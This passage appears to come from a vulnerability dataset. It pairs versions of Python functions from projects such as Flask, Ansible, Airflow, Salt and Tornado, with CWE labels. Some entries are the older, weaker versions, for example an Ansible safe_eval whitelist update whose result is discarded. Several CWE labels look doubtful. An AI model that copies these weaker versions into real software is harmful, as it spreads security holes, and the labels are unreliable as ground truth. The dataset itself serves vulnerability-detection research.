    return ret",,saltstack/salt,0fa77c66ebc6b81c725fe76a2dca7a54d24dd890,"def server_status(profile='default'):
    '''
    Get Information from the Apache server-status handler

    NOTE:
    the server-status handler is disabled by default.
    in order for this function to work it needs to be enabled.
    http://httpd.apache.org/docs/2.2/mod/mod_status.html

    The following configuration needs to exists in pillar/grains
    each entry nested in apache.server-status is a profile of a vhost/server
    this would give support for multiple apache servers/vhosts

    apache.server-status:
      'default':
        'url': http://localhost/server-status
        'user': someuser
        'pass': password
        'realm': 'authentication realm for digest passwords'
        'timeout': 5

    CLI Examples::

        salt '*' apache.server_status
        salt '*' apache.server_status other-profile
    '''
    ret = {
        'Scoreboard': {
            '_': 0,
            'S': 0,
            'R': 0,
            'W': 0,
            'K': 0,
            'D': 0,
            'C': 0,
            'L': 0,
            'G': 0,
            'I': 0,
            '.': 0,
        },
    }

    # Get configuration from pillar
    url = __salt__['config.get']('apache.server-status:'+profile+':url', 'http://localhost/server-status')
    user = __salt__['config.get']('apache.server-status:'+profile+':user', '')
    passwd = __salt__['config.get']('apache.server-status:'+profile+':pass', '')
    realm = __salt__['config.get']('apache.server-status:'+profile+':realm', '')
    timeout = __salt__['config.get']('apache.server-status:'+profile+':timeout', 5)

    # create authentication handler if configuration exists
    if user and passwd:
        basic = urllib2.HTTPBasicAuthHandler()
        basic.add_password(realm=realm, uri=url, user=user, passwd=passwd)
        digest = urllib2.HTTPDigestAuthHandler()
        digest.add_password(realm=realm, uri=url, user=user, passwd=passwd)
        urllib2.install_opener(urllib2.build_opener(basic, digest))

    # get http data
    url += '?auto'
    try:
        response = urllib2.urlopen(url, timeout=timeout).read().splitlines()
    except urllib2.URLError:
        return 'error'

    # parse the data
    for line in response:
        splt = line.split(':', 1)
        splt[0] = splt[0].strip()
        splt[1] = splt[1].strip()

        if splt[0] == 'Scoreboard':
            for c in splt[1]:
                ret['Scoreboard'][c] += 1
        else:
            if splt[1].isdigit():
                ret[splt[0]] = int(splt[1])
            else:
                ret[splt[0]] = float(splt[1])

    # return the good stuff
    return ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/recipes/steps/predict.py,0,"def _run_huggingface(self, output_directory):
        from datasets import load_dataset
        from transformers import Trainer
        from transformers.trainer_utils import EvalLoopOutput, EvalPrediction, get_last_checkpoint",,mlflow/mlflow,04e15370e0a67fdfa8cbf42b222c11bf770d912a,"def _run_huggingface(self, output_directory):
        from datasets import load_dataset
        from transformers import Trainer
        from transformers.trainer_utils import EvalLoopOutput, EvalPrediction, get_last_checkpoint"
,UNKNOWN,UNKNOWN,tests/utils/test_sqlalchemy.py,1,"def test_prohibit_commit(self):
        with prohibit_commit(self.session) as guard:
            self.session.execute(text(""SELECT 1""))
            with pytest.raises(RuntimeError):
                self.session.commit()
            self.session.rollback()

            self.session.execute(text(""SELECT 1""))
            guard.commit()

            # Check the expected_commit is reset
            self.session.execute(text(""SELECT 1""))
            with pytest.raises(RuntimeError, match=""UNEXPECTED COMMIT""):
                self.session.commit()",CWE-89,apache/airflow,a0c2071834506f2342e9ac88c65003510a5efde8,"def test_prohibit_commit(self):
        with prohibit_commit(self.session) as guard:
            self.session.execute(text(""SELECT 1""))
            with pytest.raises(RuntimeError):
                self.session.commit()
            self.session.rollback()

            self.session.execute(text(""SELECT 1""))
            guard.commit()

            # Check the expected_commit is reset
            with pytest.raises(RuntimeError):
                self.session.execute(text(""SELECT 1""))
                self.session.commit()"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/helpers.py,0,"def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=None, conditional=False, last_modified=None):
    """"""Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an ``X-Sendfile`` header.  This however
    requires support of the underlying webserver for ``X-Sendfile``.

    By default it will try to guess the mimetype for you, but you can
    also explicitly provide one.  For extra security you probably want
    to send certain files as attachment (HTML for instance).  The mimetype
    guessing requires a `filename` or an `attachment_filename` to be
    provided.

    ETags will also be attached automatically if a `filename` is provided. You
    can turn this off by setting `add_etags=False`.

    If `conditional=True` and `filename` is provided, this method will try to
    upgrade the response stream to support range requests.  This will allow
    the request to be answered with partial content response.

    Please never pass filenames to this function from user sources;
    you should use :func:`send_from_directory` instead.

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behavior is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    .. versionchanged:: 0.9
       cache_timeout pulls its default from application config, when None.

    .. versionchanged:: 0.12
       The filename is no longer automatically inferred from file objects. If
       you want to use automatic mimetype and etag support, pass a filepath via
       `filename_or_fp` or `attachment_filename`.

    .. versionchanged:: 0.12
       The `attachment_filename` is preferred over `filename` for MIME-type
       detection.

    .. versionchanged:: 1.0
        UTF-8 filenames, as specified in `RFC 2231`_, are supported.

    .. _RFC 2231: https://tools.ietf.org/html/rfc2231#section-4

    .. versionchanged:: 1.0.3
        Filenames are encoded with ASCII instead of Latin-1 for broader
        compatibility with WSGI servers.

    :param filename_or_fp: the filename of the file to send.
                           This is relative to the :attr:`~Flask.root_path`
                           if a relative path is specified.
                           Alternatively a file object might be provided in
                           which case ``X-Sendfile`` might not work and fall
                           back to the traditional method.  Make sure that the
                           file pointer is positioned at the start of data to
                           send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided. If a file path is
                     given, auto detection happens as fallback, otherwise an
                     error will be raised.
    :param as_attachment: set to ``True`` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to ``False`` to disable attaching of etags.
    :param conditional: set to ``True`` to enable conditional responses.

    :param cache_timeout: the timeout in seconds for the headers. When ``None``
                          (default), this value is set by
                          :meth:`~Flask.get_send_file_max_age` of
                          :data:`~flask.current_app`.
    :param last_modified: set the ``Last-Modified`` header to this value,
        a :class:`~datetime.datetime` or timestamp.
        If a file was passed, this overrides its mtime.
    """"""
    mtime = None
    fsize = None
    if isinstance(filename_or_fp, string_types):
        filename = filename_or_fp
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
        file = None
        if attachment_filename is None:
            attachment_filename = os.path.basename(filename)
    else:
        file = filename_or_fp
        filename = None

    if mimetype is None:
        if attachment_filename is not None:
            mimetype = mimetypes.guess_type(attachment_filename)[0] \
                or 'application/octet-stream'

        if mimetype is None:
            raise ValueError(
                'Unable to infer MIME-type because no filename is available. '
                'Please set either `attachment_filename`, pass a filepath to '
                '`filename_or_fp` or set your own MIME-type via `mimetype`.'
            )

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            raise TypeError('filename unavailable, required for '
                            'sending as attachment')

        try:
            attachment_filename = attachment_filename.encode('ascii')
        except UnicodeEncodeError:
            filenames = {
                'filename': unicodedata.normalize(
                    'NFKD', attachment_filename).encode('ascii', 'ignore'),
                'filename*': ""UTF-8''%s"" % url_quote(attachment_filename),
            }
        else:
            filenames = {'filename': attachment_filename}

        headers.add('Content-Disposition', 'attachment', **filenames)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        fsize = os.path.getsize(filename)
        headers['Content-Length'] = fsize
        data = None
    else:
        if file is None:
            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
            fsize = os.path.getsize(filename)
            headers['Content-Length'] = fsize
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    if last_modified is not None:
        rv.last_modified = last_modified
    elif mtime is not None:
        rv.last_modified = mtime

    rv.cache_control.public = True
    if cache_timeout is None:
        cache_timeout = current_app.get_send_file_max_age(filename)
    if cache_timeout is not None:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None:
        from warnings import warn

        try:
            rv.set_etag('%s-%s-%s' % (
                os.path.getmtime(filename),
                os.path.getsize(filename),
                adler32(
                    filename.encode('utf-8') if isinstance(filename, text_type)
                    else filename
                ) & 0xffffffff
            ))
        except OSError:
            warn('Access %s failed, maybe it does not exist, so ignore etags in '
                 'headers' % filename, stacklevel=2)

    if conditional:
        try:
            rv = rv.make_conditional(request, accept_ranges=True,
                                     complete_length=fsize)
        except RequestedRangeNotSatisfiable:
            if file is not None:
                file.close()
            raise
        # make sure we don't send x-sendfile for servers that
        # ignore the 304 status code for x-sendfile.
        if rv.status_code == 304:
            rv.headers.pop('x-sendfile', None)
    return rv",,pallets/flask,99c56eaafa05a34857623d5318c5bccbd634adff,"def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=None, conditional=False, last_modified=None):
    """"""Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an ``X-Sendfile`` header.  This however
    requires support of the underlying webserver for ``X-Sendfile``.

    By default it will try to guess the mimetype for you, but you can
    also explicitly provide one.  For extra security you probably want
    to send certain files as attachment (HTML for instance).  The mimetype
    guessing requires a `filename` or an `attachment_filename` to be
    provided.

    ETags will also be attached automatically if a `filename` is provided. You
    can turn this off by setting `add_etags=False`.

    If `conditional=True` and `filename` is provided, this method will try to
    upgrade the response stream to support range requests.  This will allow
    the request to be answered with partial content response.

    Please never pass filenames to this function from user sources;
    you should use :func:`send_from_directory` instead.

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behavior is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    .. versionchanged:: 0.9
       cache_timeout pulls its default from application config, when None.

    .. versionchanged:: 0.12
       The filename is no longer automatically inferred from file objects. If
       you want to use automatic mimetype and etag support, pass a filepath via
       `filename_or_fp` or `attachment_filename`.

    .. versionchanged:: 0.12
       The `attachment_filename` is preferred over `filename` for MIME-type
       detection.

    .. versionchanged:: 1.0
        UTF-8 filenames, as specified in `RFC 2231`_, are supported.

    .. _RFC 2231: https://tools.ietf.org/html/rfc2231#section-4

    :param filename_or_fp: the filename of the file to send.
                           This is relative to the :attr:`~Flask.root_path`
                           if a relative path is specified.
                           Alternatively a file object might be provided in
                           which case ``X-Sendfile`` might not work and fall
                           back to the traditional method.  Make sure that the
                           file pointer is positioned at the start of data to
                           send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided. If a file path is
                     given, auto detection happens as fallback, otherwise an
                     error will be raised.
    :param as_attachment: set to ``True`` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to ``False`` to disable attaching of etags.
    :param conditional: set to ``True`` to enable conditional responses.

    :param cache_timeout: the timeout in seconds for the headers. When ``None``
                          (default), this value is set by
                          :meth:`~Flask.get_send_file_max_age` of
                          :data:`~flask.current_app`.
    :param last_modified: set the ``Last-Modified`` header to this value,
        a :class:`~datetime.datetime` or timestamp.
        If a file was passed, this overrides its mtime.
    """"""
    mtime = None
    fsize = None
    if isinstance(filename_or_fp, string_types):
        filename = filename_or_fp
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
        file = None
        if attachment_filename is None:
            attachment_filename = os.path.basename(filename)
    else:
        file = filename_or_fp
        filename = None

    if mimetype is None:
        if attachment_filename is not None:
            mimetype = mimetypes.guess_type(attachment_filename)[0] \
                or 'application/octet-stream'

        if mimetype is None:
            raise ValueError(
                'Unable to infer MIME-type because no filename is available. '
                'Please set either `attachment_filename`, pass a filepath to '
                '`filename_or_fp` or set your own MIME-type via `mimetype`.'
            )

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            raise TypeError('filename unavailable, required for '
                            'sending as attachment')

        try:
            attachment_filename = attachment_filename.encode('latin-1')
        except UnicodeEncodeError:
            filenames = {
                'filename': unicodedata.normalize(
                    'NFKD', attachment_filename).encode('latin-1', 'ignore'),
                'filename*': ""UTF-8''%s"" % url_quote(attachment_filename),
            }
        else:
            filenames = {'filename': attachment_filename}

        headers.add('Content-Disposition', 'attachment', **filenames)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        fsize = os.path.getsize(filename)
        headers['Content-Length'] = fsize
        data = None
    else:
        if file is None:
            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
            fsize = os.path.getsize(filename)
            headers['Content-Length'] = fsize
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    if last_modified is not None:
        rv.last_modified = last_modified
    elif mtime is not None:
        rv.last_modified = mtime

    rv.cache_control.public = True
    if cache_timeout is None:
        cache_timeout = current_app.get_send_file_max_age(filename)
    if cache_timeout is not None:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None:
        from warnings import warn

        try:
            rv.set_etag('%s-%s-%s' % (
                os.path.getmtime(filename),
                os.path.getsize(filename),
                adler32(
                    filename.encode('utf-8') if isinstance(filename, text_type)
                    else filename
                ) & 0xffffffff
            ))
        except OSError:
            warn('Access %s failed, maybe it does not exist, so ignore etags in '
                 'headers' % filename, stacklevel=2)

    if conditional:
        try:
            rv = rv.make_conditional(request, accept_ranges=True,
                                     complete_length=fsize)
        except RequestedRangeNotSatisfiable:
            if file is not None:
                file.close()
            raise
        # make sure we don't send x-sendfile for servers that
        # ignore the 304 status code for x-sendfile.
        if rv.status_code == 304:
            rv.headers.pop('x-sendfile', None)
    return rv"
,UNKNOWN,UNKNOWN,lib/ansible/template/safe_eval.py,1,"def safe_eval(expr, locals={}, include_exceptions=False):
    '''
    This is intended for allowing things like:
    with_items: a_list_variable

    Where Jinja2 would return a string but we do not want to allow it to
    call functions (outside of Jinja2, where the env is constrained). If
    the input data to this function came from an untrusted (remote) source,
    it should first be run through _clean_data_struct() to ensure the data
    is further sanitized prior to evaluation.

    Based on:
    http://stackoverflow.com/questions/12523516/using-ast-and-whitelists-to-make-pythons-eval-safe
    '''

    # this is the whitelist of AST nodes we are going to
    # allow in the evaluation. Any node type other than
    # those listed here will raise an exception in our custom
    # visitor class defined below.
    SAFE_NODES = set(
        (
            ast.Add,
            ast.BinOp,
            ast.Call,
            ast.Compare,
            ast.Dict,
            ast.Div,
            ast.Expression,
            ast.List,
            ast.Load,
            ast.Mult,
            ast.Num,
            ast.Name,
            ast.Str,
            ast.Sub,
            ast.Tuple,
            ast.UnaryOp,
        )
    )

    # AST node types were expanded after 2.6
    if sys.version_info[:2] >= (2, 7):
        SAFE_NODES.update(
            set(
                (ast.Set,)
            )
        )

    # And in Python 3.4 too
    if sys.version_info[:2] >= (3, 4):
        SAFE_NODES.update(
            set(
                (ast.NameConstant,)
            )
        )

    filter_list = []
    for filter in filter_loader.all():
        filter_list.extend(filter.filters().keys())

    test_list = []
    for test in test_loader.all():
        test_list.extend(test.tests().keys())

    CALL_WHITELIST = C.DEFAULT_CALLABLE_WHITELIST + filter_list + test_list

    class CleansingNodeVisitor(ast.NodeVisitor):
        def generic_visit(self, node, inside_call=False):
            if type(node) not in SAFE_NODES:
                raise Exception(""invalid expression (%s)"" % expr)
            elif isinstance(node, ast.Call):
                inside_call = True
            elif isinstance(node, ast.Name) and inside_call:
                if hasattr(builtins, node.id) and node.id not in CALL_WHITELIST:
                    raise Exception(""invalid function: %s"" % node.id)
            # iterate over all child nodes
            for child_node in ast.iter_child_nodes(node):
                self.generic_visit(child_node, inside_call)

    if not isinstance(expr, string_types):
        # already templated to a datastructure, perhaps?
        if include_exceptions:
            return (expr, None)
        return expr

    cnv = CleansingNodeVisitor()
    try:
        parsed_tree = ast.parse(expr, mode='eval')
        cnv.visit(parsed_tree)
        compiled = compile(parsed_tree, expr, 'eval')
        result = eval(compiled, {}, dict(locals))

        if include_exceptions:
            return (result, None)
        else:
            return result
    except SyntaxError as e:
        # special handling for syntax errors, we just return
        # the expression string back as-is
        if include_exceptions:
            return (expr, None)
        return expr
    except Exception as e:
        if include_exceptions:
            return (expr, e)
        return expr",CWE-94,ansible/ansible,f91b28ef23eefb682ed7f616179c159cf6da857f,"def safe_eval(expr, locals={}, include_exceptions=False):
    '''
    This is intended for allowing things like:
    with_items: a_list_variable

    Where Jinja2 would return a string but we do not want to allow it to
    call functions (outside of Jinja2, where the env is constrained). If
    the input data to this function came from an untrusted (remote) source,
    it should first be run through _clean_data_struct() to ensure the data
    is further sanitized prior to evaluation.

    Based on:
    http://stackoverflow.com/questions/12523516/using-ast-and-whitelists-to-make-pythons-eval-safe
    '''

    # this is the whitelist of AST nodes we are going to
    # allow in the evaluation. Any node type other than
    # those listed here will raise an exception in our custom
    # visitor class defined below.
    SAFE_NODES = set(
        (
            ast.Add,
            ast.BinOp,
            ast.Call,
            ast.Compare,
            ast.Dict,
            ast.Div,
            ast.Expression,
            ast.List,
            ast.Load,
            ast.Mult,
            ast.Num,
            ast.Name,
            ast.Str,
            ast.Sub,
            ast.Tuple,
            ast.UnaryOp,
        )
    )

    # AST node types were expanded after 2.6
    if not sys.version.startswith('2.6'):
        SAFE_NODES.union(
            set(
                (ast.Set,)
            )
        )

    # And in Python 3.4 too
    if sys.version_info[:2] >= (3, 4):
        SAFE_NODES.update(
            set(
                (ast.NameConstant,)
            )
        )

    filter_list = []
    for filter in filter_loader.all():
        filter_list.extend(filter.filters().keys())

    test_list = []
    for test in test_loader.all():
        test_list.extend(test.tests().keys())

    CALL_WHITELIST = C.DEFAULT_CALLABLE_WHITELIST + filter_list + test_list

    class CleansingNodeVisitor(ast.NodeVisitor):
        def generic_visit(self, node, inside_call=False):
            if type(node) not in SAFE_NODES:
                raise Exception(""invalid expression (%s)"" % expr)
            elif isinstance(node, ast.Call):
                inside_call = True
            elif isinstance(node, ast.Name) and inside_call:
                if hasattr(builtins, node.id) and node.id not in CALL_WHITELIST:
                    raise Exception(""invalid function: %s"" % node.id)
            # iterate over all child nodes
            for child_node in ast.iter_child_nodes(node):
                self.generic_visit(child_node, inside_call)

    if not isinstance(expr, string_types):
        # already templated to a datastructure, perhaps?
        if include_exceptions:
            return (expr, None)
        return expr

    cnv = CleansingNodeVisitor()
    try:
        parsed_tree = ast.parse(expr, mode='eval')
        cnv.visit(parsed_tree)
        compiled = compile(parsed_tree, expr, 'eval')
        result = eval(compiled, {}, dict(locals))

        if include_exceptions:
            return (result, None)
        else:
            return result
    except SyntaxError as e:
        # special handling for syntax errors, we just return
        # the expression string back as-is
        if include_exceptions:
            return (expr, None)
        return expr
    except Exception as e:
        if include_exceptions:
            return (expr, e)
        return expr"
,UNKNOWN,UNKNOWN,tests/models/test_dag.py,1,"def test_next_dagrun_info_once(self):
        dag = DAG(""test_scheduler_dagrun_once"", start_date=timezone.datetime(2015, 1, 1), schedule=""@once"")

        next_info = dag.next_dagrun_info(None)
        assert next_info
        assert next_info.logical_date == timezone.datetime(2015, 1, 1)

        next_info = dag.next_dagrun_info(next_info.data_interval)
        assert next_info is None",CWE-703,apache/airflow,9721e0b82d6102847b840955e8351cce06d4184a,"def test_next_dagrun_info_once(self):
        dag = DAG(""test_scheduler_dagrun_once"", start_date=timezone.datetime(2015, 1, 1), schedule=""@once"")

        next_info = dag.next_dagrun_info(None)
        assert next_info and next_info.logical_date == timezone.datetime(2015, 1, 1)

        next_info = dag.next_dagrun_info(next_info.data_interval)
        assert next_info is None"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/visualization/string_representation.py,0,"def gen_representation(self, instr, width, height):
        """"""
        :param width: The width of the string to generate
        :param height: The width of the string to generate
        """"""
        linecount = lambda ln: sum(map(ord, (char for char in ln)))
        split = instr.split('\n')
        length = max(len(split), width)
        step, extra = divmod(length, width)

        sumlinecounts = lambda st, en: \
            sum(linecount(ln) for ln in split[st:en])

        for i, j in enumerate(xrange(0, length - extra, step)):
            accum = sumlinecounts(j, j + step)
            self.parsed_instr[i] = accum % height

        if extra:
            self.parsed_instr[i] = \
                (accum + sumlinecounts(j + step, None)) % height",,andresriancho/w3af,b071a67bf4b3b43664c567ed498f2483431d10ea,"def gen_representation(self, instr, width, height):
        """"""
        :param width: The width of the string to generate
        :param height: The width of the string to generate
        """"""
        linecount = lambda ln: sum(map(ord, (char for char in ln)))
        split = instr.split('\n')
        length = max(len(split), width)
        step, extra = divmod(length, width)

        sumlinecounts = lambda st, en: \
            sum(linecount(ln) for ln in split[st:en])

        for i, j in enumerate(xrange(0, length - extra, step)):
            accum = sumlinecounts(j, j + step)
            self.parsed_instr[i] = accum % height
        if extra:
            self.parsed_instr[i] = \
                (accum + sumlinecounts(j + step, None)) % height"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpserver_test.py,0,"def test_chunked_request_body_invalid_size(self):
        # Only hex digits are allowed in chunk sizes. Python's int() function
        # also accepts underscores, so make sure we reject them here.
        self.stream.write(
            b""""""\
POST /echo HTTP/1.1
Transfer-Encoding: chunked

1_a
1234567890abcdef1234567890
0

"""""".replace(
                b""\n"", b""\r\n""
            )
        )
        with ExpectLog(gen_log, "".*invalid chunk size"", level=logging.INFO):
            start_line, headers, response = self.io_loop.run_sync(
                lambda: read_stream_body(self.stream)
            )
        self.assertEqual(400, start_line.code)",CWE-Unknown,tornadoweb/tornado,7dfe8b597f2d179334d7b528f61e9449ac131273,"def test_chunked_request_body_invalid_size(self):
        # Only hex digits are allowed in chunk sizes. Python's int() function
        # also accepts underscores, so make sure we reject them here.
        self.stream.write(
            b""""""\
POST /echo HTTP/1.1
Transfer-Encoding: chunked

1_a
1234567890abcdef1234567890
0

"""""".replace(
                b""\n"", b""\r\n""
            )
        )
        start_line, headers, response = self.io_loop.run_sync(
            lambda: read_stream_body(self.stream)
        )
        self.assertEqual(400, start_line.code)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/cli/main.py,0,"def main():
    # bring our logging stuff up as early as possible
    debug = ('-d' in sys.argv or '--debug' in sys.argv)
    _init_logger(debug)
    # By default path would be /etx/xdg/bandit, we want system paths
    os.environ['XDG_CONFIG_DIRS'] = '/etc:/usr/local/etc'
    extension_mgr = _init_extensions()

    baseline_formatters = [f.name for f in filter(lambda x:
                                                  hasattr(x.plugin,
                                                          '_accepts_baseline'),
                                                  extension_mgr.formatters)]

    # now do normal startup
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code analyzer.',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='+',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='group results by vulnerability type or file it occurs in'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=3, type=int,
        help='max number of code lines to display for each issue identified'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help=('if omitted default locations are checked. '
              'Check documentation for searched paths')
    )
    group = parser.add_mutually_exclusive_group()
    group.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='test set profile in config to use (defaults to all tests)'
    )
    group.add_argument(
        '-t', '--tests', dest='tests',
        action='store', default=None, type=str,
        help='list of test names to run'
    )
    group.add_argument(
        '-s', '--skip', dest='skips',
        action='store', default=None, type=str,
        help='list of test names to skip'
    )
    parser.add_argument(
        '-l', '--level', dest='severity', action='count',
        default=1, help=('results severity filter. Show only issues of a given'
                         ' severity level or higher. -l for LOW,'
                         ' -ll for MEDIUM, -lll for HIGH')
    )
    parser.add_argument(
        '-i', '--confidence', dest='confidence', action='count',
        default=1, help='confidence results filter, show only issues of this '
                        'level or higher. -i for LOW, -ii for MEDIUM, '
                        '-iii for HIGH'
    )
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default='screen', help='specify output format',
        choices=sorted(extension_mgr.formatter_names)
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store',
        default=None, help='write report to filename'
    )
    parser.add_argument(
        '-v', '--verbose', dest='verbose', action='store_true',
        help='show extra information like excluded and included files'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.add_argument(
        '--ignore-nosec', dest='ignore_nosec', action='store_true',
        help='do not skip lines with # nosec comments'
    )
    parser.add_argument(
        '-x', '--exclude', dest='excluded_paths', action='store',
        default='', help='Comma separated list of paths to exclude from scan. '
                         'Note that these are in addition to the excluded '
                         'paths provided in the config file.'
    )
    parser.add_argument(
        '-b', '--baseline', dest='baseline', action='store',
        default=None, help='Path to a baseline report, in JSON format. '
                           'Note: baseline reports must be output in one of '
                           'the following formats: ' + str(baseline_formatters)
    )
    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)
    parser.set_defaults(ignore_nosec=False)

    plugin_info = [""%s\t%s"" % (a[0], a[1].name) for a in
                   six.iteritems(extension_mgr.plugins_by_id)]

    plugin_list = '\n\t'.join(sorted(plugin_info))
    parser.epilog = ('The following plugin suites were discovered and'
                     ' loaded:\n\t{0}\n'.format(plugin_list))

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    config_file = args.config_file
    if not config_file:
        try:
            config_file = _find_config()
        except utils.NoConfigFileFound as e:
            logger.error(e)
            sys.exit(2)

    try:
        b_conf = b_config.BanditConfig(config_file)
    except (utils.ConfigFileUnopenable, utils.ConfigFileInvalidYaml) as e:
        logger.error('%s', e)
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option('log_format'):
        log_format = b_conf.get_option('log_format')
        _init_logger(debug, log_format=log_format)

    if args.tests:
        test_list = args.tests.split(',')
        test_set = set(test_list)
        all_set = set(extension_mgr.plugins_by_id)
        if not test_set.issubset(all_set):
            unknown_tests = ','.join(test_set - all_set)
            logger.error(""Unknown test ID(s) in test list: %s"", unknown_tests)
            sys.exit(2)
        profile_name = test_list
    elif args.skips:
        skip_list = args.skips.split(',')
        skip_set = set(skip_list)
        all_set = set(extension_mgr.plugins_by_id)
        if not skip_set.issubset(all_set):
            unknown_tests = ','.join(skip_set - all_set)
            logger.error(""Unknown test ID(s) in skip list: %s"", unknown_tests)
            sys.exit(2)
        profile_name = list(all_set - skip_set)
    else:
        profile_name = args.profile

    try:
        b_mgr = b_manager.BanditManager(b_conf, args.agg_type, args.debug,
                                        profile_name=profile_name,
                                        verbose=args.verbose,
                                        ignore_nosec=args.ignore_nosec)
    except utils.ProfileNotFound as e:
        logger.error(e)
        sys.exit(2)

    if args.baseline is not None:
        try:
            with open(args.baseline) as bl:
                data = bl.read()
                b_mgr.populate_baseline(data)
        except IOError:
            logger.warning(""Could not open baseline report: %s"", args.baseline)
            sys.exit(2)

        if args.output_format not in baseline_formatters:
            logger.warning('Baseline must be used with one of the following '
                           'formats: ' + str(baseline_formatters))
            sys.exit(2)

    if args.output_format != ""json"":
        logger.info(""using config: %s"", config_file)
        logger.info(""running on Python %d.%d.%d"", sys.version_info.major,
                    sys.version_info.minor, sys.version_info.micro)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    logger.debug(b_mgr.b_ma)
    logger.debug(b_mgr.metrics)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(args.context_lines,
                         sev_level,
                         conf_level,
                         args.output_file,
                         args.output_format)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0:
        sys.exit(1)
    else:
        sys.exit(0)",UNKNOWN,PyCQA/bandit,ae1cff7fae600e90b8f5202cec29c45fca72f5d3,"def main():
    # bring our logging stuff up as early as possible
    debug = ('-d' in sys.argv or '--debug' in sys.argv)
    _init_logger(debug)
    # By default path would be /etx/xdg/bandit, we want system paths
    os.environ['XDG_CONFIG_DIRS'] = '/etc:/usr/local/etc'
    extension_mgr = _init_extensions()

    baseline_formatters = [f.name for f in filter(lambda x:
                                                  hasattr(x.plugin,
                                                          '_accepts_baseline'),
                                                  extension_mgr.formatters)]

    # now do normal startup
    parser = argparse.ArgumentParser(
        description='Bandit - a Python source code analyzer.',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument(
        'targets', metavar='targets', type=str, nargs='+',
        help='source file(s) or directory(s) to be tested'
    )
    parser.add_argument(
        '-r', '--recursive', dest='recursive',
        action='store_true', help='process files in subdirectories'
    )
    parser.add_argument(
        '-a', '--aggregate', dest='agg_type',
        action='store', default='file', type=str,
        choices=['file', 'vuln'],
        help='group results by vulnerability type or file it occurs in'
    )
    parser.add_argument(
        '-n', '--number', dest='context_lines',
        action='store', default=3, type=int,
        help='max number of code lines to display for each issue identified'
    )
    parser.add_argument(
        '-c', '--configfile', dest='config_file',
        action='store', default=None, type=str,
        help=('if omitted default locations are checked. '
              'Check documentation for searched paths')
    )
